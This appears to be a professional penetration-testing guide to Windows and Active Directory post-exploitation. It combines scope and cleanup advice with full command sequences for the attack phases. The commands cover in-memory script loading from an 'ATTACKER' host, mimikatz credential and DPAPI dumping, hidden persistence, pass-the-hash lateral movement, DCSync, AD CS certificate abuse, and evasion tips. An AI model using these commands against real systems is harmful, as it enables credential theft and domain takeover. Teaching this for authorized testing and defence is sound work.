Post-Exploitation Windows and Active Directory: Complete Guide

Post-Exploitation Windows and Active Directory: from Foothold to Goal #

Obtaining a shell is the starting point, not the finish line. The difference between a foothold and a goal achieved lies in the method used to exploit that initial access. A poorly managed post-exploitation session—noisy commands, tools left on disk, indiscriminate dumping—is detected before it gets anywhere.

Post-exploitation isn't a fixed sequence of commands. It's a decision-making cycle that adapts to the privileges obtained, the protections in place on the system (Credential Guard, LSA protection, EDR), and the scope of the engagement. After situational awareness, credential access and privilege escalation are evaluated in parallel , not in a rigid order: sometimes escalation is required before accessing the credentials, other times it's the other way around.

Post-exploitation does not correspond to a single MITRE ATT&CK tactic. Depending on the objective, it can cover Execution , Persistence , Privilege Escalation , Defense Evasion , Credential Access , Discovery , Lateral Movement , Collection , Command and Control , and Exfiltration.

Phase 0 — Scope, Objectives, and Rules of Engagement #

Before running any post-exploitation commands, always confirm:

• hosts, domains and subnets included in the scope;
• accounts and systems explicitly excluded;
• prohibited or restricted techniques (e.g. DCSync, password/ACL changes);
• explicit authorization for credential dumping, persistence, and exfiltration;
• operating windows and emergency contacts;
• data collection, storage and destruction criteria;
• immediate stop conditions.

This phase distinguishes a professional methodology from a simple list of lab commands. On HTB and training platforms, the scope is the machine itself—but the reflex must still be trained, because that's what you'll use in a real pentest.

Cheat Sheet — First Hour of Access #

Note: Dumping credentials and starting SharpHound are not automatic actions by default —they depend on your current privileges and the level of noise allowed. They should be evaluated, not performed by default.

Phase 1 — Situational Awareness #

Once you've got the shell, the first steps are to figure out who you are, where you are, and what you can do. All via LOLBins—no tools to load.

:: Chi sono e che privilegi ho
whoami /all

:: Informazioni sul sistema
systeminfo

:: Utenti locali
net user
net localgroup administrators

:: Processi in esecuzione
tasklist /v
tasklist /SVC  :: processi associati a servizi

:: Connessioni di rete attive
netstat -ano
ipconfig /all

:: AV e sicurezza attiva
sc query windefend
Get-MpComputerStatus  :: PowerShell
wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName, productState

:: Sessioni utente attive
query session
query user

:: Informazioni sul dominio (se joinato)
net group "Domain Admins" /domain
net user /domain
nltest /domain_trusts

# Verifica lingua PowerShell (CLM attivo?)
$ExecutionContext.SessionState.LanguageMode

# Cerca credenziali in chiaro nei file comuni
Get-ChildItem -Recurse -Include "*.xml","*.txt","*.conf","*.config" -ErrorAction SilentlyContinue |
  Select-String -Pattern "password|passwd|pwd|credential" -ErrorAction SilentlyContinue

# Variabili d'ambiente — spesso contengono credenziali
Get-ChildItem Env:

Phase 2 — Deep Enumeration #

Windows — Automatic Tools #

# WinPEAS — enumerazione automatica privilege escalation paths
.\winPEASx64.exe

# Seatbelt — enumerazione difensiva e offensiva sistematica
.\Seatbelt.exe -group=all

# Seatbelt — solo le info più rilevanti
.\Seatbelt.exe -group=user -group=system -group=credentialaccess

See dedicated articles: WinPEAS and Seatbelt.

Active Directory — Domain Enumeration #

# PowerView in memoria — niente file su disco
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')

# Enumerazione base AD
Get-DomainUser -SPN                  # target Kerberoasting
Get-DomainUser -PreauthNotRequired    # target AS-REP Roasting
Get-DomainComputer -Unconstrained     # target Unconstrained Delegation
Find-LocalAdminAccess                 # macchine dove sei local admin

For the complete guide to PowerView: PowerView.

SharpHound maps the AD graph and the paths to the goal, but it is not “stealth” by definition: the collection DCOnly It mainly queries the Domain Controller, without touching the other joined hosts, but still collects memberships, trusts, permissions, OUs and GPOs — however, this must be evaluated with respect to the scope and level of monitoring.

.\SharpHound.exe -c DCOnly  # raccolta orientata al DC, minor superficie
.\SharpHound.exe -c All     # quadro completo, più rumore

In hybrid environments with Entra ID, the collection extends with AzureHound , the equivalent of SharpHound for the Microsoft cloud: the same BloodHound platform can correlate on-prem and cloud attack paths.

Phase 3 — Credential Access #

Credential dumping is not an automatic “first come, first served” action: it depends on the available privileges and protections in place on the system.

# Privilegi correnti
whoami /priv

# Credential Guard attivo?
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

# LSA protection (PPL) attiva?
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL

Credential Guard isolates NTLM hashes, Kerberos TGTs, and domain credentials using virtualization-based security, and LSA protection prevents unprotected processes from reading or injecting code into LSASS—but it doesn't cover everything: local accounts, Kerberos service tickets, and explicitly user-entered credentials are left out of this protection.

LSASS — In-Memory Hashing #

privilege::debug
sekurlsa::logonpasswords   # dump completo (richiede privilegi adeguati)
sekurlsa::msv              # solo hash NTLM

SAM and SYSTEM — Local Hashes #

reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SAM C:\temp\SAM

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Credentials in Files and Registry #

.\Seatbelt.exe WindowsCredentialFiles
.\Seatbelt.exe WindowsVault

Get-ChildItem C:\Users -Recurse -Include "*.xml","*.ini","unattend.xml","Unattend.xml" -ErrorAction SilentlyContinue
Get-Content "C:\Windows\Panther\Unattend.xml" -ErrorAction SilentlyContinue

.\SharpChrome.exe logins

For the full guide: credential-dumping.

DPAPI — Master Key and Credential Vault #

DPAPI encrypts saved passwords, session cookies, and Windows Credential Manager credentials using a master key derived from the user's password (or a domain backup key). It first searches for encrypted blobs:

dir /a:h C:\Users\<username>\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\

Then the corresponding master key. If you know the user's password:

mimikatz # dpapi::masterkey /in:"C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>" /sid:<SID> /password:<password> /protected

If you are in a highly privileged domain, you can ask the DC to decrypt the master key via MS-BKRP (RPC), without knowing the user's password:

mimikatz # dpapi::masterkey /in:"C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>" /rpc

With Domain Admin privileges, you can export the domain backup key once and use it to decrypt any user master key, even offline:

mimikatz # lsadump::backupkeys /system:<DC_FQDN> /export
mimikatz # dpapi::masterkey /in:<masterkey_file> /pvk:<backup_key.pvk>

With the cleartext master key, decrypt the credential blob:

mimikatz # dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob> /masterkey:<masterkey_in_chiaro>

SharpDPAPI automates the entire flow (credential/vault/RDG/KeePass triage) and supports /rpc, /password, /pvk e /ntlm for remote decryption. Warning: CVE-2023-36004 concerns DPAPI secure channel spoofing and should be mentioned when reporting if the target is not patched.

Phase 4 — Privilege Escalation #

IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1')
Invoke-AllChecks

# Service binaries scrivibili
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows\*"} |
  Select-Object Name, PathName, StartName

# AlwaysInstallElevated (se entrambe le chiavi sono 1 = PE trivial)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Unquoted service paths
wmic service get name,displayname,pathname,startmode |
  findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """"

For the full guide: privilege-escalation-windows.

A note on order: Credential access and privilege escalation feed into each other. Sometimes multiple privileges are needed to access a credential source; other times, a credential found in a config file is what enables escalation. Don't treat them as rigid, sequential steps.

Phase 5 — Persistence (Optional) #

Persistence is not a mandatory step . In a real pentest, it may be unnecessary, prohibited by the rules of engagement, or pose a risk to system availability. For many engagements, demonstrating and documenting the process is sufficient, without leaving any mechanisms in place at the end.

For each persistence technique, always evaluate: prerequisites, impact, generated artifacts, verification method and cleanup.

Scheduled Task #

schtasks /create /tn "WindowsUpdate" /tr "powershell -nop -w hidden -c IEX(...)" /sc hourly /ru SYSTEM

impacket-atexec corp.local/administrator:Password123!@<TARGET> "powershell -c ..."

See: scheduled-task.

Registry Run Key #

reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "powershell -nop -w hidden -c IEX(...)" /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "C:\Windows\Temp\update.exe" /f

Windows Service #

sc create WindowsUpdate binPath= "C:\Windows\Temp\payload.exe" start= auto
sc start WindowsUpdate

Golden Ticket #

Un Golden Ticket use account key krbtgt, Then It is not invalidated by simply changing the password of the administrative accountsIt remains accepted by KDCs as long as the compromised key is valid. Remediation requires controlled and double password rotation. krbtgt, with replication verified between all Domain Controllers — a single reset is not enough.

It should be treated as a very high-impact technique, to be demonstrated only with explicit permission in the scope.

Phase 6 — Lateral Movement and Pivoting #

# Verifica dove sei admin con le credenziali ottenute
nxc smb 192.168.1.0/24 -u administrator -H :NThash

# Esecuzione remota stealth via WMI
impacket-wmiexec -hashes :NThash corp.local/administrator@<TARGET>

# Dump delle credenziali sui nuovi host
impacket-secretsdump -hashes :NThash corp.local/administrator@<TARGET>

For the complete guide: lateral-movement.

Lateral movement and pivoting are not synonymous: lateral movement means entering and controlling another system; pivoting means making an otherwise unreachable network or service accessible by using the compromised host as a tunnel. If the target is on a subnet that isn't directly accessible, see: Pivoting.

Phase 7 — Domain Compromise and AD CS #

# DCSync — dump di tutti gli hash del dominio
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -just-dc -outputfile domain_dump

# Hash krbtgt per Golden Ticket
impacket-secretsdump corp.local/administrator:Password123!@<DC_IP> -just-dc-user krbtgt

To dump the domain: secretsdump.

A modern AD environment isn't limited to DCSync and Golden Tickets. Always keep in mind Active Directory Certificate Services, Shadow Credentials, gMSA abuse, Kerberos delegations (constrained/unconstrained/RBCD), and ACL abuse in your methodology. Each technique deserves—and already has, or will have—a dedicated article on the blog.

Active Directory Certificate Services (AD CS) #

AD CS is defined in the community as "privilege escalation as a service": a poorly configured template is all it takes to reach Domain Admin without touching zero-days. Certipy is the reference tool and covers the entire ESC1-ESC17 family.

# Enumerazione completa di CA e template
certipy find -u 'user@corp.local' -p 'Password123!' -dc-ip <DC_IP> -vulnerable -stdout

ESC1 — template that allows a low-privileged user to specify an arbitrary SAN (e.g., administrator UPN) with Client Authentication EKU:

certipy req -u 'user@corp.local' -p 'Password123!' -dc-ip <DC_IP> -target <ADCS_HOST> \
  -ca 'CORP-CA' -template 'ESC1-Template' -upn 'administrator@corp.local'

# Con il certificato ottenuto, richiedi il TGT via PKINIT e recupera l'hash NT
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

ESC4 — template write permissions: You can reconfigure this to make it vulnerable to ESC1, then exploit it as above:

certipy template -u 'user@corp.local' -p 'Password123!' -template 'ESC4-Template' -save-old

ESC8 — AD CS Web Enrollment accepting NTLM authentication, exploitable with NTLM relay to the CA HTTP endpoint:

certipy relay -target 'http://<ADCS_HOST>/certsrv/certfnsh.asp' -template DomainController

Any template reconfiguration (ESC4) must be reset at the end of testing — it is part of the cleanup phase.

Phase 8 — Collection and Objective Validation #

Post-exploitation isn't necessarily about getting to Domain Admin: it can be about demonstrating access to documents, repositories, databases, application secrets, backups, industrial systems, cloud consoles, or regulated data.

Once you've achieved your engagement goal, collect only the necessary evidence:

• name and location of the data;
• privileges required to access it;
• minimal example or hash of the file (never the complete data unless requested);
• screenshot or controlled output;
• potential impact, quantity and sensitivity of the data consulted.

Simulated and Controlled Exfiltration #

You don't need to prove you can copy large volumes of data: you need to demonstrate the risk without causing an actual incident.

• use synthetic files or canary data when possible;
• apply size constraints to the proof of concept;
• encrypts transferred data if authorized;
• records the source, destination, and checksum of each transfer;
• avoid personal services not approved by the scope;
• delete copies after testing;
• Stop the activity if out-of-scope data is encountered.

Final Phase — Cleanup and Recovery #

• deletes tools, dumps, archives and temporary files left on systems;
• remove added scheduled tasks, services, users, Run keys and ACLs;
• close any tunnels, listeners, and remote sessions that are still active;
• restore configurations and passwords changed during the test;
• make sure there are no listening processes or ports left;
• document what could not be restored;
• confirms the secure destruction of the collected data.

Evidence and Reporting #

For each significant step, record: timestamp, source and destination host, account and privilege level, command or technique used, result obtained, artifacts created, output or screenshots, cleanup performed, and associated defense recommendation. Without this step, a post-exploitation methodology remains a list of commands—not a professional service.

Operational Decision Tree #

Ho una shell
│
├── Non privilegiata
│   ├── Enum locale
│   ├── Credenziali accessibili all'utente
│   └── Privilege escalation
│
├── Local admin / SYSTEM
│   ├── Credential sources (LSASS, SAM, DPAPI, service accounts)
│   ├── Sessioni privilegiate
│   ├── LAPS / GMSA
│   └── Accesso ad altri host
│
└── Account di dominio
    ├── Enumerazione AD (BloodHound/AzureHound)
    ├── ACL / delegation / AD CS
    ├── Attack path verso l'obiettivo
    └── Objective validation

OPSEC: What Not to Do #

• Don't load Mimikatz to disk — drop it into memory or use fileless variants.
• Don't use PSExec if SOC is active — it creates easily discoverable services.
• Don't leave scheduled tasks with obvious names — WindowsUpdate it is as suspicious as backdoor.
• Don't make noisy discovery (Find-LocalAdminAccess across the range) before understanding the level of monitoring.
• Don't forget to clean up temporary artifacts at the end of the engagement.

Detection by Phase #

Mitigation #

• Credential Guard and LSA protection (PPL) enabled on all endpoints.
• Windows LAPS for unique, automatically rotated local passwords — reduces the risk of credential theft and lateral movement.
• Separate administrative accounts and administrative tiering (Tier 0/1/2).
• Network segmentation and privileged session limitation.
• PowerShell Auditing (Script Blocking, Advanced Logging).
• Active monitoring of DCSync requests.
• Remote Credential Guard for RDP sessions to untrusted hosts.

Conclusion #

Post-exploitation isn't a list of commands to be executed sequentially—it's a methodology that adapts techniques to the context: available privileges, existing protections, level of monitoring, and engagement objectives. Clear scope, parallel evaluation of credential access and escalation, persistence only when authorized, and constant cleanup and reporting: this is what separates a lab demo from a professional service.

Resources:

• MITER ATT&CK – Enterprise Matrix
• Microsoft Learn – Credential Guard overview
• SpecterOps – BloodHound Community Edition
• Certipy – AD CS enumeration and abuse